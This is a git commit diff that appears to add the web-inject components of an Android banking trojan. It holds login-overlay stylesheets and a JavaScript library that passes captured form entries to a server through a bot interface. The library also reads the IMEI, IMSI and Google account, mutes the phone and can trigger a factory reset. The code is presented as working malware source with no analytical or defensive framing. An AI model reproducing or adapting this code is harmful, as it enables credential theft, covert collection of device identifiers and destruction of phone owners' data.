initial commit
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #545353;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #029C5E;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#F0F0F0;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_input {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_inpute {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_inpute {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
.main_inpute {height:74px; font-size:25px;}
|
||||
.login_btn {height:74px; width:230px; font-size:29px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:40px;}
|
||||
.inp_caption {font-size:29px;}
|
||||
}
|
||||
|
||||
@media screen and (max-height: 360px){
|
||||
.form_header {
|
||||
padding: 5px;
|
||||
height: 40px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.container {padding-top:50px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.login_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
}
|
||||
@media screen and (max-width: 200px) and (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 20px;
|
||||
}
|
||||
.container {padding-top:24px;}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 2px;
|
||||
}
|
||||
.main_input{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.main_inpute{
|
||||
height: 15px;
|
||||
font-size: 11px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 3px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 4px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.login_btn{
|
||||
font-size: 10px;
|
||||
height: 19px;
|
||||
line-height: 10px;
|
||||
width: 70px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
}
|
||||
|
||||
td,
|
||||
th {
|
||||
padding: 0;
|
||||
}
|
||||
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 4.7 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,216 @@
|
||||
|
||||
.container {
|
||||
overflow: hidden;
|
||||
}
|
||||
.row {
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_04{
|
||||
background: #FFFFFF;
|
||||
}
|
||||
.form_header {
|
||||
background: #FFFFFF;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
width:100%;
|
||||
top:0;
|
||||
left:0;
|
||||
padding: 5px;
|
||||
border-bottom: solid 1px #000;
|
||||
}
|
||||
.container {padding-top:86px;}
|
||||
.form_header:after{
|
||||
display: none;
|
||||
position: absolute;
|
||||
bottom: -17px;
|
||||
z-index: -1;
|
||||
left: 50%;
|
||||
margin-left: -204px;
|
||||
max-width: 100%;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #FFFFFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 200px;
|
||||
height: 23px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.main_inpute{
|
||||
border: 1px solid #A7A6AA;
|
||||
outline-style: none;
|
||||
max-width: 150px;
|
||||
height: 20px;
|
||||
background-color: #FFFFFF;
|
||||
|
||||
|
||||
padding-left: 6px;
|
||||
font-size: 15px;
|
||||
width: 20%;
|
||||
}
|
||||
.input_block_wr {
|
||||
overflow: hidden;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.login_btn {
|
||||
width: 123px;
|
||||
height: 44px;
|
||||
background-color: #E30000;
|
||||
|
||||
|
||||
border: none;
|
||||
outline:none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
.content{
|
||||
padding: 15px 10px;
|
||||
background-color:#103357;
|
||||
|
||||
border: 1px solid #D3D3D3;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
|
||||
|
||||
|
||||
}
|
||||
@media screen and (min-height:568px) and (max-height:736px) and (min-width:320px){
|
||||
.main_input {height:54px; font-size:23px;}
|
||||
.login_btn {height:54px; width:180px; font-size:23px;}
|
||||
.btn_wr, .input_block_wr + .input_block_wr {margin-top:35px;}
|
||||
.inp_caption {margin-bottom:20px; font-size:23px;}
|
||||
}
|
||||
@media screen and (min-height:737px) and (min-width:320px){
|
||||
.main_input {height:64px; font-size:23px; max-width:640px;}
|
||||
.login_btn {height:64px; width:230px; font-size:25px;}
|
||||
.inp_caption {font-size:25px;}
|
||||
}
|
||||
@media screen and (min-height:800px) and (min-width:320px){
|
||||
